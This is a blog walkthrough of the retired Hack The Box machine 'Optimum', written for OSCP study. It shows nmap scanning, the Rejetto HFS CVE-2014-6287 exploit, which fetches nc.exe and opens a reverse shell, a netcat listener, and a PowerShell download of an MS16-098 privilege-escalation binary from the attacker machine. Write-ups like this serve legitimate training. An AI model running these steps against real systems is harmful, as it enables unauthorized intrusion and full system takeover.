Powered by Blogger.
Home » » Hack The Box — Optimum Writeup w/o Metasploit

Hack The Box — Optimum Writeup w/o Metasploit

Written By Akademy on Wednesday, March 18, 2020 | 5:43 AM

This is the fifth blog out of a series of blogs I will be publishing on retired HTB machines in preparation for the OSCP. The full list of OSCP like machines compiled by TJnull can be found here.
Let’s get started!


First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.
nmap -sC -sV -O -oA nmap/initial
  • -sC: run default nmap scripts
  • -sV: detect service version
  • -O: detect OS
  • -oA: output all formats and store in file nmap/initial
We get back the following result showing that only one port is open:
  • Port 80: running HttpFileServer httpd 2.3.
Nmap Initial Scan
Before we start investigating these ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.
Let’s run an nmap scan that covers all ports.
nmap -sC -sV -O -p- -oA nmap/full
We get back the following result. No other ports are open.
Nmap Full Scan
Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.
nmap -sU -O -p- -oA nmap/udp
We get back the following result.
Our initial recon shows that our only point of entry is through exploiting the HTTP File Server.


Browse to the HTTP File server.
It seems to be a server that allows you to remotely access your files over the network. There’s a login page that might be using default credentials. This could potentially allow us to gain an initial foothold. Let’s google the server name and version to learn more about it.
The first two google entries are publicly disclosed exploits that would give us remote code execution on the box!
Click on the first entry and view the compile instructions.
To compile the exploit, we need to perform a few tasks:
  1. Host a web server on our attack machine (kali) on port 80 in a directory that has the netcat executable file.
  2. Start a netcat listener on the attack machine.
  3. Download the exploit and change the ip_addr & local_port variables in the script to match the ip address of the attack machine and the port that netcat is listening on.
  4. Run the script using python as stated in the Usage comment.
Before we do that, let’s try and understand what the script is doing.
CVE: 2014–6287 Exploit
Everything in yellow (in double quotes) is URL encoded. Let’s decode it using an online encoder/decoder.
URL Decoded Exploit
Three functions are being called:
  • script_create(): creates a script (script.vbs) that when run downloads the nc.exe from our attack machine and saves it to the C:\Users\Public\ location on the target machine.
  • execute_script(): uses the csscript.exe (command-line version of the Windows Script Host that provides command-line options for setting script properties) to run script.vbs.
  • nc_run(): runs the the netcat executable and sends a reverse shell back to our attack machine.
Now that we understand what the script is doing, what remains to be answered is why was remote code execution allowed. Further googling tells us the reason.
The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a sequence in a search action.
This makes sense. In the exploit, every time a search is done to run arbitrary code, the  sequence is used.

Gaining an Initial Foothold

Now that we understand the exploit, let’s run it. In the instructions, the first step is to host a web server on our attack machine (kali) on port 80 in a directory that has the netcat executable file.
Locate the Windows netcat executable file in the kali vm.
Copy it to the location where the server will be run.
cp nc.exe ~/Desktop/
Start the HTTP server.
python -S SimpleHTTPServer
The second step is to start a netcat listener on the attack machine.
nc -nlvp 5555
The third step is to download the exploit and change the ip_addr & local_port variables in the script to match the ip address of the attack machine and the port that netcat is listening on.
The fourth step is to run the exploit.
python 39161.py 80
We get a non-privileged shell back!
Grab the user flag.
We don’t have system privileges, so we’ll need to find a way to escalate privileges.

Privilege Escalation

We’ll use Windows Exploit Suggester to identify any missing patches on the Windows target machine that could potentially allow us to escalate privileges.
First, download the script.
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
Next, install the dependencies specified in the readme document.
pip install xlrd --upgrade
Update the database.
./windows-exploit-suggester.py --update
This creates an excel spreadsheet form the Microsoft vulnerability database in the working directory.
The next step is to retrieve the system information from the target machine. This can be done using the “systeminfo” command.
Copy the output and save it in a text file “sysinfo.txt” in the Windows Exploit Suggester directory on the attack machine. Then run the following command on the attack machine.
./windows-exploit-suggester.py --database 2019-10-05-mssb.xls --systeminfo sysinfo.txt
The Windows OS seems to be vulnerable to many exploits! Let’s try MS16–098. In the exploit database, it gives you a link to a precompiled executable. Download the executable on the attack machine.
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
Now we need to transfer it to the target machine. Start up an HTTP server on attack machine in the same directory that the executable file is in.
python -m SimpleHTTPServer 9005
In target machine download the file in a directory you have write access to.
powershell -c "(new-object System.Net.WebClient).DownloadFile('', 'c:\Users\Public\Downloads\41020.exe')"
Run the exploit.
We have system! Grab the root flag.

Lesson Learned

Always update and patch your software! To gain both an initial foothold and escalate privileges, we leveraged publicly disclosed vulnerabilities that have security updates and patches available.
Share this article :


Trung Tâm Đào Tạo An Toàn Thông Tin Học Hacker Mũ Xám Online | Học An Ninh Mạng Trực Tuyến | CEH VIỆT NAM
Copyright © 2013. HACKER MŨ XÁM - All Rights Reserved
Web Master @ Võ Sĩ Máy Tính
Contact @ Đông Dương ICT